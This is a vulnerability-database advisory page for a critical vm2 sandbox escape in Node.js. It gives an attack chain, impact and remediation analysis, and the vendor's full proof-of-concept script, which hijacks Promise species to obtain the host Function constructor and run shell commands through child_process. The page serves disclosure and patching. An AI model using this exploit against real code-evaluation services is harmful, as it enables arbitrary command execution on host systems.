EUVD-2026-36447
GHSA-76w7-j9cq-rx2j
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify service that runs untrusted JS in vm2
-
DeliverySubmit crafted sandbox payload
-
ExploitDefine FakePromise with malicious Symbol.species
-
InstallTrigger host RangeError via deep recursion
-
C2Capture raw host Error via hijacked reject
-
ExecuteReach host Function constructor and require child_process
-
ImpactExecute arbitrary commands on host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Dynamic code resource control
|
| Exploitation Conditions | Exploitation requires that the attacker can submit JavaScript to be evaluated inside a vm2 VM or NodeVM instance on a target running vm2 <= 3.11.3 - which is precisely vm2's intended use case as an untrusted-code sandbox, so any application that exposes a vm.run() path to user input is exploitable. No authentication to vm2 itself is needed (the code runs inside the sandbox by design), no user interaction is required after the malicious script is submitted, and the attack works against default configurations with no special vm2 options. Limiting factors: the target application must actually feed attacker-controlled JavaScript into vm2 (services that only sandbox developer-authored, trusted code are not exposed in practice); the Node.js process must be running on a platform where V8's Promise species protocol behaves as exploited (standard V8 on all major OSes qualifies). Network reachability of the evaluator endpoint is implicit in AV:N. No special CPU, OS, or vm2 configuration toggles are needed beyond using the library to run untrusted input. |
| Impact | All available signals point to genuine top-tier priority. CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H scores 10.0 with scope change, reflecting that the attacker breaks out of vm2's security boundary into the host. CWE-913 and the published, working POC confirm the exploit is fully weaponizable - the advisory includes a self-contained one-shot RCE chain. Note that 'unauthenticated network' in CVSS is somewhat indirect: the real threat model assumes the attacker can already run JavaScript inside the vm2 sandbox, which is exactly vm2's use case (executing untrusted user-supplied code). EPSS is not provided in the input. KEV status is not listed, so this is publicly available exploit code exists rather than confirmed actively exploited (CISA KEV); given vm2's known history of similar sandbox escapes and broad deployment in code-evaluation services, real-world exploitation against exposed evaluators should be assumed imminent. The SSVC framework is not provided but exploitation is straightforward and automatable, with total technical impact on the host. |
| Exploit ScenarioDerived | An attacker submits crafted JavaScript to any service that evaluates user code inside vm2 (e.g., an online code playground, automation rule engine, or chatbot expression evaluator). The script defines a FakePromise subclass with a malicious Symbol.species, triggers a host-realm RangeError via deep recursion plus e.stack formatting, and receives the raw host Error object via the hijacked Promise reject capability. Using ex.constructor.constructor('return process')().mainModule.require('child_process').execSync, the attacker runs arbitrary shell commands as the host Node.js process, as demonstrated by the published POC that drops a 'pwned' marker file. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
Remote code execution in the vm2 Node.js sandbox library (versions <= 3.11.3) allows sandboxed JavaScript to escape isolation and execute arbitrary commands on the host. The flaw stems from a missing resetPromiseSpecies call in the localPromise swallow tail, letting a sandbox subclass hijack Promise species resolution and capture a raw host-realm RangeError that exposes the host Function constructor. Publicly available exploit code exists (POC published in the advisory), though no public exploit identified at time of analysis as actively exploited in the wild; given vm2's heavy use as an untrusted-code sandbox in SaaS, CI, and serverless platforms, this is a top-priority issue.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.4 or later via npm install vm2@^3.11.4 and rebuild and redeploy any affected services; the one-line fix in lib/setup-sandbox.js adds the missing resetPromiseSpecies(this) before the swallow-tail call (commit a462655009669c3124ee39498121651597529ea8). Validate transitive dependencies with npm ls vm2 because vm2 is frequently nested several levels deep in code-execution toolchains, and pin the version in package-lock.json to prevent regression. Because vm2 has accumulated a long history of sandbox-escape advisories, the strategically correct compensating control is to migrate off vm2 entirely to isolated-vm or to OS-level isolation such as gVisor, Firecracker microVMs, or per-tenant containers - the trade-off is non-trivial engineering effort and a different API surface. If immediate upgrade or migration is impossible, restrict what untrusted code can reach the vm2 evaluator at the application layer (require authentication, rate-limit, and reject input containing Promise subclassing, Symbol.species access, or deep-recursion patterns); note that source-level filters are easy to bypass and should be treated as defense-in-depth only. Consult the advisory at https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j and https://github.com/advisories/GHSA-76w7-j9cq-rx2j for vendor guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is an npm package historically used to execute untrusted JavaScript inside a constrained sandbox by overriding host built-ins. The vulnerability lives in lib/setup-sandbox.js, in the localPromise constructor that attaches an internal 'swallow tail' via apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]) to suppress unhandled rejections. The host Promise.prototype.then resolves the downstream child through the species protocol (this.constructor[Symbol.species]); vm2's other Promise-related overrides call resetPromiseSpecies(this) first to force species back to localPromise, but the swallow-tail path inside the constructor itself omitted that call. CWE-913 (Improper Control of Dynamically-Managed Code Resources) captures the root cause: an attacker-controlled subclass with a custom Symbol.species redirects V8's internal Promise capability builder to a user function, which receives V8's raw (resolve, reject) and re-binds them to a sandbox collector. Combined with a deep-recursion + e.stack primitive that forces V8 to throw a host-realm RangeError inside PromiseResolveThenableJob, the attacker captures a host-realm Error whose .constructor.constructor reaches the host Function constructor and pivots to process.mainModule.require('child_process').execSync. CPE indicates pkg:npm/vm2.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Sources disagree (Medium–Critical)AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
PoC
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Blast Radius
ecosystem impact- 5 npm packages depend on vm2 (4 direct, 1 indirect)
Ecosystem-wide dependent count for version 3.11.4.
Executive ViewAI
vm2 Node.js sandbox library versions 3.11.3 and earlier contain a critical remote code execution vulnerability allowing escape from sandboxed execution contexts. Organizations running untrusted code-including SaaS platforms, CI/CD pipelines, and serverless functions-face immediate risk of complete host compromise. Publicly available exploit code exists, making this vulnerability a priority for immediate mitigation.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Exploit-DB